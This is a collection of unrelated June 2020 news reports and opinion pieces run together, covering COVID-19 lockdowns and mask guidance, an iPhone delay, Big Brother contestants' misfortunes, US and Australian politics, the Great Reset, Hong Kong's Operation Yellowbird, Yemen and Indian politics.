Further, Selwyn A. Pieters, a Toronto lawyer specializing in education, police and criminal law, as well as human rights, said the Black Lives Matter has its genesis in the unjustifiable, unprovoked, wanton, and unnecessary killings of Black people by police officers.

The logic of the letter is flawed and can itself lead to allegations of racism, intimidation and bullying, Selwyn said. (Barker) seeks to discredit and criminalize the Black Lives Matter (BLM) campaign and to nullify the current day and historic racism and oppression of Black people in North American including Canada and the United States.

Belchior said Pay2day supports the Black community in ensuring equality and is establishing a diversity committee at the suggestion of the employees, as well as seeking more opinions on how to restore our corporate culture of trust and move forward together.

The Star reached out to Barker on Instagram, however, Barkers content on Instagram disappeared soon after. The Star could not locate a Twitter or Facebook account for comment, either, and when sought to reach him through the Pay2day website, we received a comment from Belchior in lieu.
With the latest season of Big Brother set to air on Monday, excitement for the newly revived reality show is at an all-time high.

But after gaining popularity on the hit series, many of the show's beloved former contestants have been met by tragedy.

From suspicious deaths to violent assaults and devastating health problems, it has to be asked if the curse of Big Brother is real.

Surrounded by sadness: After gaining popularity on Big Brother, many of the show's beloved former contestants have been met by tragedy. Pictured, former Big Brother winner Reggie Bird (now known as Regina Sorensen)

In February last year, former Big Brother star Miriam Rivera was found dead at her home in Hermosillo, Mexico.

The transgender model was just 38 when she was found hanging, with her death reported as an apparent suicide.

But Miriam's husband, Daniel Cuervo, suspected foul play, and claimed her death may have been 'passed off' as a suicide after she refused to accept work as a prostitute.

Mystery: In February last year, former Big Brother star Miriam Rivera was found dead at her home in Hermosillo, Mexico

'On the morning of February 5, Miriam called me [in New York City] from Mexico, telling me she was feeling sick and vomiting blood, so I told her to get to the hospital,' he told Daily Mail Australia at the time.

He said Miriam's body was found at 2pm that same day: 'She called me again before leaving the hospital at 12pm and that was the last time we spoke.'

When Daniel enquired about the possibility of flying his wife's body to New York, he was told she had already been cremated, leaving no opportunity for an autopsy.

Loss: In March 2009, it was revealed 2001 contestant Gordon Sloan had died in a Chinese hospital under mysterious circumstances

He claimed he later received a phone call from an unknown man, who told him: 'Don't come back to Mexico or we'll kill you, too.'

Sadly, Miriam, who appeared on Big Brother back in 2004, isn't the only contestant to die after appearing on the show.

In March 2009, it was revealed 2001 contestant Gordon Sloan had died in a Chinese hospital under mysterious circumstances.

Vicious: 2012 Big Brother star Sam Wallace was shot in the leg in a violent attack, which turned out to be a case of mistaken identity, according to a report by ABC News in June last year

Speaking to News.com.au at the time of his death, Donna Mulhearn, a friend of the late reality star, revealed doctors had turned off his life support after he fell into a coma in Beijing in September 2008.

'I was absolutely shocked to hear about his death but not surprised it was overseas while he was travelling. I read the email from his mate and was stunned,' she said.

The 34-year-old had been working as an Iraq war human shield volunteer at the time of his death, with Donna describing him as a 'hero', but admitting he had 'detractors' too.

Innocent victim: Sam was driving through a Gold Coast carpark when a man fired bullets into his car in a murder attempt

No further information was given about his death, and The Department of Foreign Affairs and Trade said at the time that they were 'assisting the family'.

Meanwhile, 2012 Big Brother star Sam Wallace was shot in the leg in a violent attack, which turned out to be a case of mistaken identity, according to a report by ABC News in June last year.

Anthony Yoon Sun Soong was sentenced to 13 years in prison after shooting the 29-year-old in December 2015, when he mistook Sam for his ex-lover's new partner.

Mistaken identity: Anthony Yoon Sun Soong was sentenced to 13 years in prison after shooting the 29-year-old in December 2015, when he mistook Sam for his ex-lover's new partner

Sam was driving through a Gold Coast carpark when the convicted man fired bullets into his car in a murder attempt.

After shooting Sam in the left leg, the man then walked up to his car and attempted to fire a shot at close range, but the weapon didn't go off, prompting him to hit the Big Brother star with the butt of his gun instead.

Other Big Brother stars have been plagued by health issues, with Reggie Bird (now known as Regina Sorensen) declared legally blind.

Losing sight: After winning Big Brother in 2003, Reggie was diagnosed with Retinitis Pigmentosa, a rare and hereditary eye disease, which is causing her to go blind

After winning Big Brother in 2003, the 46-year-old was diagnosed with Retinitis Pigmentosa, a rare and hereditary eye disease, which is causing her to go blind.

But in an interview with Woman's Day magazine in April, Reggie revealed she had regained some of her eye sight thanks to medical advances.

'When my eye specialist said there's a small chance he can restore part of my sight, I couldn't believe it,' she said, revealing she's lost 90 per cent of her vision to the degenerative eye disease.

Big Brother Australia will premiere on Monday, June 8 at 7.30pm on Channel Seven.
A supplier to Apple has revealed that the tech giant's upcoming iPhone will be delayed from its usual September launch, due to the coronavirus pandemic.

US hardware manufacturer Broadcom, which develops chips for the iPhone and other Apple mobile devices, spoke of a 'major product cycle delay' on Thursday.

While Apple wasn't named explicitly, Broadcom CEO Hock Tan referred to a 'large North American mobile phone' client during his company's earnings call.

Tan  who often refers to Apple this way, according to Bloomberg  suggested the device wouldn't be released to consumers until the last three months of 2020.

The new information corroborates other reports from respected Apple insiders that Apple's new high-end device will be delayed by at least a month.

Apple and its component supplier Broadcom have been affected by the coronavirus pandemic, which could push back the launch of the iPhone 12 by more than a month from the company's usual September release

Broadcom itself will be suffering from a business 'trough' during the third quarter (Q3) of the year due to delays in supplying its products.

A rise in revenue from its wireless chips, which it supplies to Apple for iPhones to connect to Wi-Fi, will happen one quarter later than usual, he said.

'Were designing, obviously, [wireless chips] in those big flagship phones in our large North American phone maker,' Tan told analysts during Thursday's earnings call.

'We believe because of product cycle delays, the trough for our fiscal year will be Q3 this coming quarter.

'Nothing has changed in terms of designs.'

The delay has been caused by the economic shutdown caused by the coronavirus pandemic  including some closed factories as part of social distancing measures.

Employees work on the assembly line at Hon Hai Group's Foxconn plant in Shenzhen. The company had to close factories due to coronavirus

Broadcom had warned customers they'll need to place orders for parts at least six months ahead of time, Bloomberg reported in April, while other reports revealed Apple's concerns over reduced operations at Broadcom's Fort Collins plant in Colorado.

Nearly 20 per cent of Broadcom's revenue in 2019 came from Apple, which was the first big tech firm to say the epidemic was hurting its production and demand in China.

Broadcom also entered into to two multi-year agreements worth as much as $15 billion in revenue to supply Apple with wireless components.

Meanwhile, Apple's primary assembler, Taiwan-based Foxconn, said it will be ready to meet demand for Apple's typical September launch, but factors in other parts of Apple's supply chain may hinder that timeline.

Apples iPhone 12 could be completely wireless, meaning users will not receive a free pair of earbuds and be forced to purchase the firms $159 AirPods

The coronavirus forced Foxconn to shut down temporarily from March, leading many to believe the tech giants next handset would be delayed.

Foxconn has now resumed most of its operations and hired enough staff to meet seasonal demand, but had noted it still has a long way to go before returning to full production.

Analysts expect Apple to release a range of 5G iPhone models later this year, but are now expecting an October launch at the earliest.

Citing 'people familiar with the plans,' The WSJ said in April that although Apple would still be building some of the new phones in the July-to-September period, the mass-production ramp-up would be pegged back by about a month.

According to a variety of sources, Apple's iPhone 12 will be completely wireless, meaning users will not receive a free pair of earbuds and be forced to purchase the firms $159 AirPods, and feature a smaller camera 'notch' and almost zero bezel.
It's bizarre that America, alone among the developed nations, has no universal health care along the lines of Australia's Medicare. Barack Obama tried to change that. Even though he enjoyed control of the White House, the House and the Senate for a while, he was unable to get the result he sought. America's health-care system remains one of its deepest sources of inequality and disadvantage. The coronavirus crisis has exposed this anew, but as Arundhati Roy observes, "it is the wreckage of a train that has been careening down the track for years. Who doesnt remember the videos of 'patient dumping'  sick people, still in their hospital gowns, butt naked, being surreptitiously dumped on street corners? Hospital doors have too often been closed to the less fortunate citizens of the US." It's horrible, but Australia created Medicare. Why shouldn't we feel a bit smug? Because Australia had been heading in the same direction. Look at the last decade and the pointlessness of its revolving-door prime ministership. Look at the last decade and the pointlessness of the so-called debate on climate change. Going into the 2007 election, John Howard and Kevin Rudd concurred on the need to address climate change. Both proposed an emissions trading scheme. It seemed straightforward. But the bipartisan agreement ruptured. Mayhem followed and a decade was lost, to the satisfaction of the mining lobby. Illustration: Jim Pavlidis Credit:

What was the last decade if not an example of Australian "vetocracy"? We suffered national complacency, compounded by political polarisation and ideological self-indulgence, exploited effectively by the mining lobby. The economy seemed to take care of itself and the political class felt liberated to pursue ever more frenzied party-room parlour games. Of course, other vital reforms in Australia also withered. Two of Australia's most eminent public policy experts, Ken Henry and Ross Garnaut, separately declared that Australia had entered a great complacency around the turn of the century. Problems didn't get solved. The problem-solving mechanism wasn't working. In America, decay went much further. After all, Fukuyama identified the problem of "vetocracy" well before Donald Trump arrived. When Trump turned up, another political scientist described a far worse syndrome. Norm Ornstein had to reach back centuries to find a word to capture it  "kakistocracy". What's kakistocracy? "It's the worst kind of government by the worst among us," explains Ornstein, a longtime scholar at the American Enterprise Institute in Washington. The word is based on the Greek kakistos, meaning worst. But it's simple, really: "Ask any child what kaki is," says Ornstein. "Kakistocracy is shit government." US police clear the area around Lafayette Park. Credit:AP

In a term of many lows, Trump's attempt to deploy the country's armed forces against protesters is, so far, perhaps the lowest. It was so extreme that it provoked Trump's own defence secretary, Mark Esper, into a statement of public defiance. Reinforced by Trump's former defence secretary, Jim Mattis, a retired general of real standing. According to US media reporting - yet to be denied - Trump's attempt to put the armed forces onto America's streets also was opposed in private by the country's top military officer, General Mark Milley, in discussions with Trump. This is not just a political crisis. It's a constitutional one as a president tests his power to deploy the military in a power struggle against the Pentagon and his own defence secretary. Loading Donald Trump didn't invent racism. He didn't create America's long-running problems of racial disadvantage and racist police officers abusing their powers. He didn't condone the killing of George Floyd. But he has stoked division in pursuit of political advantage. As Mattis said: "Donald Trump is the first president in my lifetime who does not try to unite the American people  does not even pretend to try. Instead he tries to divide us. We are witnessing the consequences of three years of this deliberate effort."

Trump is a product of America's failing political system and the people's long-simmering frustration. As his former campaign chief, Steve Bannon, has explained, Trump's election campaign captured American anger at "managed decline" by the country's elites. Norm Ornstein says that Trump's populist appeal was to communicate that "they are all a bunch of crooks so let's blow the whole thing up - how could it get any worse?" So today America seems to be making the transition from managed decline to unmanaged decline with a destructive president dividing America. Ornstein's warning to Australia, and to democracies everywhere, is that the US is not uniquely vulnerable to such political failure. "Our experience is that it happens in increments. It can happen anywhere." "You," he says, meaning Australia, "have checks and balances in your system. We had even more." Ornstein argues that the impossible polarisation of politics and the unworkability of the system has its origins in the radicalisation of the Republican Party beginning with Newt Gingrich in the 1990s.

It was from around this time that the Republicans "focused not on problem solving but on how to gain advantage".

Today, he says, "the Republicans in the House and Senate have done nothing to check Trump, not one thing. That's unleashed him. We have less of a party now and more of a cult. It takes more than one person  it takes a group of people to go along with this." He attributes Rupert Murdoch's creation of the Fox News network as a central part of the radicalisation of the Republicans and the creation of the cult of Trump. "It can happen here," says Ornstein, "it can happen anywhere." Australia might have been suffering signs of vetocracy, but any possible journey to kakistocracy has been interrupted. Or at least postponed. Australia had been suffering years of deepening dysfunction and division, but the pandemic has interrupted the deterioration. The bushfires showed Scott Morrison as the worst of leaders; in the coronavirus crisis he has transformed into one of the best. Even some Americans noticed, including Ornstein: "Scott Morrison was no one's idea of a towering leader, but with COVID he did things conventional political leaders do and not only did it work, it also led for soaring popularity for him." Alas, he says it's too much to expect Trump to make any such transformation: "He's a narcissistic sociopath with no interest in problem solving." Loading The transformation of Morrison from tribal chief to national leader combines with the end of Australia's long complacency to throw open the possibility of real reform. Indeed, Morrison has set out the process for his first two priorities, skills training and workplace relations, with more promised.
By Ayya Lmahamad

The use of private transportation during the weekend quarantine regime on June 6 and 7 will be fined in the range of $58 to $2,941, while use of public transportation will also be banned, head of the public relations department of the Main Traffic Police Department Kamran Aliyev told local media on June 5.

Under the Criminal Codes Article 211, individuals will be fined from AZN 100 ($58.8) to AZN 200 ($117.6), officials from AZN 1,500 ($882.3) to AZN 2,000 ($1,176), legal entities from AZN 2,000 ($1,176) to AZN 5,000 ($2,941) or, depending on the case and taking into account the identity of the violator, arrested in administrative proceedings for up to one month, Aliyev said.

More restrictions have been imposed and the road police will work in a reinforced regime during the weekend due to the re-tightening of the quarantine regime, Aliyev said.

Persons allowed to work during the weekend may only move around in official vehicles. In other words, the use of a private car by a person authorized to work is prohibited. Taxis, buses and other cars are not allowed during restrictions. A person registered on the portal icaze.gov.az, and having an official work permit, cannot use another car if the company where he works does not have an official car," he emphasized.

Residents will not even be allowed to go out for throwing garbage during the weekend due to total lockdown introduced for June 6 and 7, head of press service of the Ministry of Internal Affairs Ehsan Zakhidov told local media on June 5.

"This is not allowed. The operational headquarters under the Cabinet of Ministers has identified two cases in which it is possible to leave the house during these two days. First, if a person has a real threat to life. Secondly, if a citizen wants to participate in the funeral of close relatives, he said.

He stated that the police officers and internal troops will work in a reinforced to regularly and intensively monitor compliance with quarantine regime during the weekend.

Earlier, it was reported that citizens who leave home on Saturday and Sunday without permission may be fined, and also face an arrest.

On June 2, the president approved fines for not wearing masks in public places. According to the amendment, for violation of this requirement, individuals will be fined for 50AZN ($29.4), officials  100AZN ($58.8), legal entities  200AZN ($117.6). For repeated committing by the person who received the administrative penalty, individuals will be fined 100AZN ($58.8), officials 200AZN ($117.6), legal entities 400AZN ($235.3)

Violation of the rules entails administrative and criminal liability as provided by law.

On June 4, a decision was taken to impose a two-day nationwide quarantine regime in Baku, Sumgayit, Ganja, Lankaran and Absheron region during the upcoming weekend.

Under the lockdown, that will be effective from 00:00 on June 6 to 06:00 on June 8, leaving place of residence will also be prohibited (except when there is immediate danger of life and health).

In order to leave the place of residence or location on the basis specified in decision, each person must get permission by calling "102" of the Duty Part Management Service of the Ministry of Internal Affairs of the Republic of Azerbaijan.

As of June 5, Azerbaijan has registered 6.522 COVID-19 cases and 78 coronavirus-related deaths. The total number of recovered patients is 3.737.

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Follow us on Twitter @AzerNewsAz
The World Health Organization is broadening said Friday it is now advising that in areas where coronavirus is spreading, people should wear fabric masks when social distancing is not possible, such as on public transportation and in shops.

WHO Director-General Tedros Adhanom Ghebreyesus said people over age 60 or with underlying medical conditions also should wear masks in situations where social distancing cannot be maintained.

WHO previously had recommended that only health care workers, people with COVID-19 and their caregivers wear medical masks, noting a global shortage of supplies.

During a press briefing discussing the revised guidance, Tedros added that 'masks on their own will not protect you from COVID-19' and emphasized the importance of hand-washing, social distancing and other infection-prevention strategies.

The World Health Organization on Friday broadened its recommendations for the use of masks during the coronavirus pandemic and is now advising that in areas where the virus is spreading, people should wear fabric masks when social distancing is not possible, such as on public transport and in shops (AP Photo/Matt Dunham, File)

WHO also widened its mask guidance to specify that health workers in areas where the virus is spreading freely should always wear masks inside medical facilities.

Doctors working in cardiology or other wards, for example, should wear medical masks even if the facilities had no known coronavirus patients, Tedros said.

Maria Van Kerkhove, WHO's technical lead on COVID-19, said the updated recommendations were based on new research commissioned by the UN health agency.

Other health agencies, including the US Centers for Disease Control and Prevention (CDC), have recommended for some time the wearing of masks or face coverings by the general public to slow the spread of the coronavirus.

British authorities said this week that face coverings would be compulsory on subways and other mass transit.

April Baller, a WHO infection control expert, said the type of masks recommended for the general public are fabric or cloth coverings that can be made at home.

She said part of the reason for the widening of WHO's advice on face masks was the increasing evidence COVID-19 can be spread by people before they have symptoms.

WHO previously said that transmission from people who do not have symptoms was not believed to be a major driver of the virus pandemic.

'What (the masks) do is they prevent a person who may actually have the disease from transmitting it to somebody else,' Baller said.

It comes after a slew of studies demonstrated the benefits of wearing a mask - even if it is made of cloth, rather than a high-grade N95 mask - can help slow the spread of coronavirus.

Since the CDC's recommendation, masks have become a part of every day life for Americans - especially amid protests in Minneapolis (pictured) and other cities following George Floyd's murder (file)

A recent study from McMaster University in Canada found that not wearing a mask increased the risk of contracting coronavirus by six-fold.

Other research suggested that cotton masks could reduce your risk of contracting coronavirus by 30 percent.

On Monday, the largest international study to-date on the benefits of wearing a mask - funded by the WHO itself - found that face covering reduces the likelihood that an infected (and potentially asymptomatic) person infects someone else from more than 17 percent to about three percent.

Still, the WHO says that that not all masks are created equally, and that they must be maintained.

'Based on this new research, WHO advises that fabric masks should consist of at least three layers of different material.' said Dr Tedros said.

He also warned against placing too much faith in masks.

'I cannot say this clearly enough: masks alone will not protect you from COVID-19,' Dr Tedros reiterated.

'Masks are not a replacement for physical distancing, hand hygiene and other public health measures.

'Masks are only of benefit as part of a comprehensive approach in the fight against COVID-19.

'The cornerstone of the response in every country must be to find, isolate, test and care for every case, and to trace and quarantine every contact.

'That is what we know works. That is every countrys best defense against COVID-19.'
Source: Xinhua| 2020-06-06 01:20:31|Editor: huaxia

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ZAGREB, June 5 (Xinhua) -- European interior ministers agreed on Friday that travel restrictions imposed to curb the COVID-19 pandemic should be abolished in a coordinated and non-discriminatory manner.

During a video conference that was held within the framework of Croatia's Presidency of the Council of the European Union (EU), the ministers noted that the coronavirus outbreak has threatened some of the foundations of the EU, such as the European Single Market and freedom of movement.

EU member states have gradually eased or abolished restrictive measures that were imposed on national or regional levels. In the last few weeks, some countries have opened their borders for other nationals, but there has not been a comprehensive agreement on the EU level.

The ministers discussed the expected time frames within which border checks will be abolished once the health situation in a particular member state makes it possible, but did not mention any timetable. They also discussed the procedure for returning to the full functioning of the Schengen area.

"Full functioning of the Schengen area and free movement of persons is of key importance for economic recovery and the European Union in general," Croatian Interior Ministry Davor Bozinovic said in a press release.

EU member states have also expressed their views on possible lifting of restrictions that have been in place for third-country nationals, and on the criteria and measures on the basis of which the restrictions would be lifted. Enditem
U.S. Attorney J. Douglas Overbey of the Eastern District of Tennessee on Friday announced that the city of Chattanooga received $374,730 in Department of Justice grants to respond to the public safety challenges posed by the outbreak of COVID-19.

The grant is available under the Coronavirus Emergency Supplemental Funding program, authorized by the recent stimulus legislation signed by President Trump. Other jurisdictions can determine if they are eligible for funds and may apply immediately by visiting this website. The Justice Department is moving quickly, awarding grants on a rolling basis and aiming to have funds available for drawdown as soon as possible after receiving applications, said officials.

"As this country continues to fight COVID-19, our office remains committed to deterring, investigating, and prosecuting those who seek to take advantage of the COVID-19 pandemic. This funding will help many of the communities struggling in these trying times and provide some much-needed relief to our district, said U.S. Attorney Overbey.

The outbreak of COVID-19 and the public health emergency it created are sobering reminders that even the most routine duties performed by our nations public safety officials carry potentially grave risks, said Principal Deputy Assistant Attorney General for the Office of Justice Programs Katharine T. Sullivan. These funds will provide hard-hit communities with critical resources to help mitigate the impact of this crisis and give added protection to the brave professionals charged with keeping citizens safe.

The law gives jurisdictions considerable latitude using these funds for dealing with COVID-19. Potential uses include hiring personnel, paying overtime, purchasing protective equipment, distributing resources to hard-hit areas and addressing inmates medical needs. Agencies eligible for the fiscal year 2019 State and Local Edward Byrne Memorial Justice Assistance Grant Program are candidates for the emergency funding. Local units of government and tribes will receive direct awards separately according to their jurisdictions allocations.

More information about OJP and its components can be found at www.ojp.gov.
Respected Dr Ramesh Pokhariyal Nishank ji,

I write to you not just as the education minister of Delhi but also as a citizen and parent concerned about the future of millions of children of our country. After a prolonged closure of schools due to the coronavirus disease (Covid-19), it is heartening to know that ministry of human resource development is devising basic guidelines for reopening schools. The Delhi chief minister, Arvind Kejriwal, said some time ago that we need to learn to live with corona and reopening of schools with reasonable precautions is a welcome step in that direction.

While the pandemic has created an unprecedented challenge for humanity, it also offers a unique opportunity to re-imagine our schools. In the new way of life post-corona, we need to think afresh about the role of our schools. We can transform schools from being a mere implementers of directions from the directorate or district headquarters to having a central role in our society. And, it would be a historical blunder if we miss this opportunity by not entrusting our schools with a bigger and bolder role to prepare children for a better life and not just for lessons from their textbooks.

In this regard, here is what I would like to suggest. First, we need to assure every child, irrespective of age and social class, that they are important to us and all of them have an equal right to the physical and intellectual space of their respective schools. The clamour of online teaching or older children coming to school first and not the younger ones should be put to rest. Online teaching can only complement the learning in school, not replace it. Similarly, in being mindful of ensuring access with equity for all children, students of secondary grades should not be prioritised over primary-grade children. Learning at all stages is important, whether it is preparing for board exams or learning to read and write.

Here, I envision two distinct approaches for children of different age groups.

To learn to live with the virus, what better place than the school to learn that lesson and which better grades than the early grades from nursery to Class 8. Children of this age group (with reasonable distancing and supportive supervision norms) are among the least likely to be infected and this needs to be communicated to parents. Parents should be taken into confidence and should not be hurried or compelled to send their child to school. Further, the emphasis for children between three to 14 years should be on establishing the foundation of lifelong learning. The focus should exclusively be on the childs happiness, support for responsible behaviour (without preaching) and building foundational learning skills instead of just completing the remaining syllabus. The goal should be that our children learn to learn. The only thing for which a teacher be held accountable is to ensure that every child stays connected with the school and enjoys the new teaching-learning format.

For secondary and senior secondary grades, my suggestion is that National Council of Educational Research and Training (NCERT) and Central Board of Secondary Education (CBSE) be asked to remove the stranglehold of syllabus and rote-learning oriented examinations from the academic life of a child. To begin with, NCERT should reduce the syllabus by at least 30% across all grades and subjects. Let there be more depth in learning and understanding rather than spreading the curriculum far and wide. Similarly, CBSE should move away from the one-time high-stakes exam of class 10 and 12 towards a model of continuous evaluation and anytime exam.

In this context, I have another suggestion about redefining our approach towards teachers training. We cannot expect a fundamental change in education and examinations unless our teachers are prepared for it. This would entail international level training with exposure to innovative practices across the world. Apart from training, emphasis should also be on research so that new techniques of teaching-learning can be understood and implemented at the school level. We can learn so much from Singapores model of teacher training, and the approach of the International Baccalaureate (IB) board towards assessments.

With a broad framework in place, we should let the schools re-imagine their role, by taking their context and resources into account, and propose their plan of reopening by consulting with their key stakeholders. In the process of learning to live with the coronavirus, there will be major changes in schools across the world. It is for us to decide whether we reorganise our schools based on the need of our society and learnings from our nations great history or that we wait for other countries or some other societies to do something and then we copy-paste those solutions here. In my view, we need to take decisive steps now to place the school right at the centre of the community. I am fully aware that this is not easy, and schools will require a lot of support but just like children, our schools, education systems and policymakers like us also need to learn, grow and be responsible.

I hope you will consider my suggestions and together we will give back a better and more caring school to all our children.

Manish Sisodia is deputy chief minister and eduction minister of Delhi

The views expressed are personal

(This is an abridged version of his letter to the Union HRD minister on June 5)
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Linkedin Klaus Schwab (The Jakarta Post) Project Syndicate/Geneva  Fri, June 5, 2020 18:53 595 fc6853813033f564188675f8bdc7af7c 3 Opinion World-Economic-Forum,world-economy,COVID-19,economic-growth,development Free

COVID-19 lockdowns may be gradually easing, but anxiety about the worlds social and economic prospects is only intensifying. There is good reason to worry: a sharp economic downturn has already begun, and we could be facing the worst depression since the 1930s. But, while this outcome is likely, it is not unavoidable.

To achieve a better outcome, the world must act jointly and swiftly to revamp all aspects of our societies and economies, from education to social contracts and working conditions. Every country, from the United States to China, must participate, and every industry, from oil and gas to tech, must be transformed. In short, we need a great reset of capitalism.

There are many reasons to pursue a great reset, but the most urgent is COVID-19. Having already led to hundreds of thousands of deaths, the pandemic represents one of the worst public-health crises in recent history. And, with casualties still mounting in many parts of the world, it is far from over.

This will have serious long-term consequences for economic growth, public debt, employment, and human wellbeing. According to the Financial Times, global government debt has already reached its highest level in peacetime. Moreover, unemployment is skyrocketing in many countries: in the US, for example, one in four workers have filed for unemployment since mid-March, with new weekly claims far above historic highs. The International Monetary Fund expects the world economy to shrink by 3 percent this year  a downgrade of 6.3 percentage points in just four months.

All of this will exacerbate the climate and social crises that were already underway. Some countries have already used the COVID-19 crisis as an excuse to weaken environmental protections and enforcement. And frustrations over social ills like rising inequality  US billionaires combined wealth has increased during the crisis  are intensifying.

Left unaddressed, these crises, together with COVID-19, will deepen and leave the world even less sustainable, less equal, and more fragile. Incremental measures and ad hoc fixes will not suffice to prevent this scenario. We must build entirely new foundations for our economic and social systems.

The level of cooperation and ambition this implies is unprecedented. But it is not some impossible dream. In fact, one silver lining of the pandemic is that it has shown how quickly we can make radical changes to our lifestyles. Almost instantly, the crisis forced businesses and individuals to abandon practices long claimed to be essential, from frequent air travel to working in an office.

Likewise, populations have overwhelmingly shown a willingness to make sacrifices for the sake of health-care and other essential workers and vulnerable populations, such as the elderly. And many companies have stepped up to support their workers, customers, and local communities, in a shift toward the kind of stakeholder capitalism to which they had previously paid lip service.

Clearly, the will to build a better society does exist. We must use it to secure the great reset that we so badly need. That will require stronger and more effective governments, though this does not imply an ideological push for bigger ones. And it will demand private-sector engagement every step of the way.

The great reset agenda would have three main components. The first would steer the market toward fairer outcomes. To this end, governments should improve coordination (for example, in tax, regulatory, and fiscal policy), upgrade trade arrangements, and create the conditions for a stakeholder economy. At a time of diminishing tax bases and soaring public debt, governments have a powerful incentive to pursue such action.

Moreover, governments should implement long-overdue reforms that promote more equitable outcomes. Depending on the country, these may include changes to wealth taxes, the withdrawal of fossil-fuel subsidies, and new rules governing intellectual property, trade, and competition.

The second component of a great reset agenda would ensure that investments advance shared goals, such as equality and sustainability. Here, the large-scale spending programs that many governments are implementing represent a major opportunity for progress. The European Commission, for one, has unveiled plans for a 750 billion ($838 billion) recovery fund. The US, China, and Japan also have ambitious economic-stimulus plans.

Rather than using these funds, as well as investments from private entities and pension funds, to fill cracks in the old system, we should use them to create a new one that is more resilient, equitable, and sustainable in the long run. This means, for example, building green urban infrastructure and creating incentives for industries to improve their track record on environmental, social, and governance metrics.

The third and final priority of a Great Reset agenda is to harness the innovations of the Fourth Industrial Revolution to support the public good, especially by addressing health and social challenges. During the COVID-19 crisis, companies, universities, and others have joined forces to develop diagnostics, therapeutics, and possible vaccines; establish testing centers; create mechanisms for tracing infections; and deliver telemedicine. Imagine what could be possible if similar concerted efforts were made in every sector.

The COVID-19 crisis is affecting every facet of peoples lives in every corner of the world. But tragedy need not be its only legacy. On the contrary, the pandemic represents a rare but narrow window of opportunity to reflect, reimagine, and reset our world to create a healthier, more equitable, and more prosperous future.

***

Founder and executive chairman of the World Economic Forum

Disclaimer: The opinions expressed in this article are those of the author and do not reflect the official stance of The Jakarta Post.
Reverend Chu Yiu-ming, a retired minister at the Chai Wan Baptist Church in Hong Kong, led Operation Yellowbird, a secret rescue mission to help pro-democracy activists wanted by the Chinese government after the June 4, 1989 Tiananmen Square crackdown to escape overseas through Hong Kong.

Reverend Chu Yiu-ming, a retired minister at the Chai Wan Baptist Church in Hong Kong, was recently in the headlines as one of nine pro-democracy activists convicted in April 2019 for crimes related to their part in the 2014 Occupy Central protests, which shut down key parts of Hong Kong for 79 days.

Chu, who received a suspended sentence for the 2014 protests, led Operation Yellowbird, a secret rescue mission to help pro-democracy activists wanted by the Chinese government after the June 4, 1989 Tiananmen Square crackdown to escape overseas via Hong Kong, which was still a British colony.

Chu, 76, cared for the Chinese pro-democracy activists who stayed in Hong Kong until 1997, when sovereignty over Hong Kong was transferred to China and Operation Yellowbirds mission also came to an end. In eight years, the operation had successfully enabled 400 pro-democracy Chinese activists to escape to free countries.

Chu spoke to RFA about the recent year of angry protests over the expansion of mainland China control over Hong Kong in the run up to the 31st anniversary of the crackdown.

RFA: What stirred you to action as you witnessed the events in Beijing of 1989?

Chu Yiu-ming: It was so painful to watch what had happened in Tiananmen Square on the night of June 4th. So many wounded. So many had lost their lives. What could I do? I truly did not know what I could do to help. Then two weeks later, the pro-democracy activist Szeto Wah asked me, Reverend Chu, can you help us?

RFA: What was your next move?

I went to the French Consulate in Hong Kong. The then-deputy Consulate General J.P. Montagne agreed to my request immediately. He said, Ill do it. Ill issue the visas. I finally saw him again two years ago. I asked him, How could you have made that decision immediately? He said, Reverend, if you need to take a leak, do you go ask permission? No, you just go to the restroom. These peoples lives are in danger. Who Should I ask? No one. We have to save them. Its that simple.

RFA: You ended up devoting many years to the cause of the Yellow Bird escapees.

As a reverend, I took it upon myself without hesitation to care for those on the run. I did not ask for it, but when the historical responsibility fell unto me, at that critical moment, I was called to serve this purpose, and I did it.

RFA: Youve recently visited a number of the people you helped escape through Hong Kong 31 years ago?

This may be our last time seeing each other. But knowing that they are well, I feel great peace and joy in me. However, 30 years have passed, and some of them still cant forget what they had witnessed in Tiananmen Square on that day. In the face of gun shots and the approaching tanks. No one can help it. This will be a century-long trauma for the Chinese people.

RFA: Former Hong Kong bookseller Lam Wing-kei has left the city and re-opened a bookstore in Taiwan after he and four colleagues were detained by Chinese police for books they sold in Hong Kong. What does this signify?

I think its really sad that someone has to leave Hong Kong this way. So I dont think Hong Kong is a safe place anymore. Any authoritarian country would arrest, jail, and assassinate dissidents in the name of national security, or it would just make the dissidents disappear. Such measures would create fear in the society so as to deter anyone who seeks justice.

Translated by Min Eu.
Sanaa, June 5 (IANS) Yemen's Houthi militia said the Saudi-led coalition launched 14 airstrikes on their positions.

The group's al-Masirah TV on Thursday reported four airstrikes on Haradh district in Hajjah province, one on al-Buka area in Saada and nine on Sirwah district in Marib, reports Xinhua news agency.

The Saudi-led coalition has made no comment on the Houthi allegations.

On Monday, the coalition announced the interception of two drones launched by the Houthi militia toward the Saudi border city of Khamis Mushait against civilians.

Turki Al-Maliki, spokesman of the coalition, said the Houthis reject the ceasefire that has been enforced by the coalition since April 9.

The ceasefire decision came after a call by UN Secretary-General Special Envoy to Yemen Martin Griffiths for warring parties to lay down their weapons.

Yemen has been mired in civil war since late 2014, when the Iran-backed Houthi rebels seized control of much of the country's north and forced the Saudi-backed government of President Abd-Rabbu Mansour Hadi out of the capital Sanaa.

The Saudi-led coalition intervened in the Yemeni conflict in early 2015 to support Hadi's government.

The five-year civil war has pushed more than 20 million to the brink of starvation.

--IANS

ksk/
New Delhi: The Congress on Friday said Prime Minister Narendra Modis slogan of vocal for local to make the country self-reliant was yet another jumla (rhetoric) to divert the peoples attention from real issues.

Senior Congress leader Kapil Sibal alleged that the prime minister and his government could only manufacture jumlas, statements and slogans, and asked how India can become self-reliant till it creates innovation and intellectual property in its universities.

This is an act of self-deception. This is another jumla that you sell to the people of the country, he said, addressing a media briefing via video conference.

We are only manufacturing jumlas, statements and slogans. That is the only thing we make in India, and we are masters at that under this government, Sibal added.

He said the prime minister has given a call for Atmanirbhar Abhiyaan, but his government has failed to help make the poor, farmers, migrant workers, industry or states self-reliant.

Similarly, his calls to industry to push Made in India, Made for the World, to expand globally, and not be dependent on another country in the strategic sector did not have a clear road map as to how this goal should be achieved, said Sibal.

He said the Rs 20-lakh crore Atmanirbhar package does not lead to expansion of government expenditure, as it includes measures already announced by the Reserve Bank of India (RBI) and in the budget, and amounts to less than 1% of GDP, as against 10% claimed by the ruling party.

The reality is that Modis Atmanirbhar idea is merely a slogan like innumerable others, Sibal said, and sought private investment in universities to create innovation and ideas.

However, he was quick to add that this did not amount to privatisation.

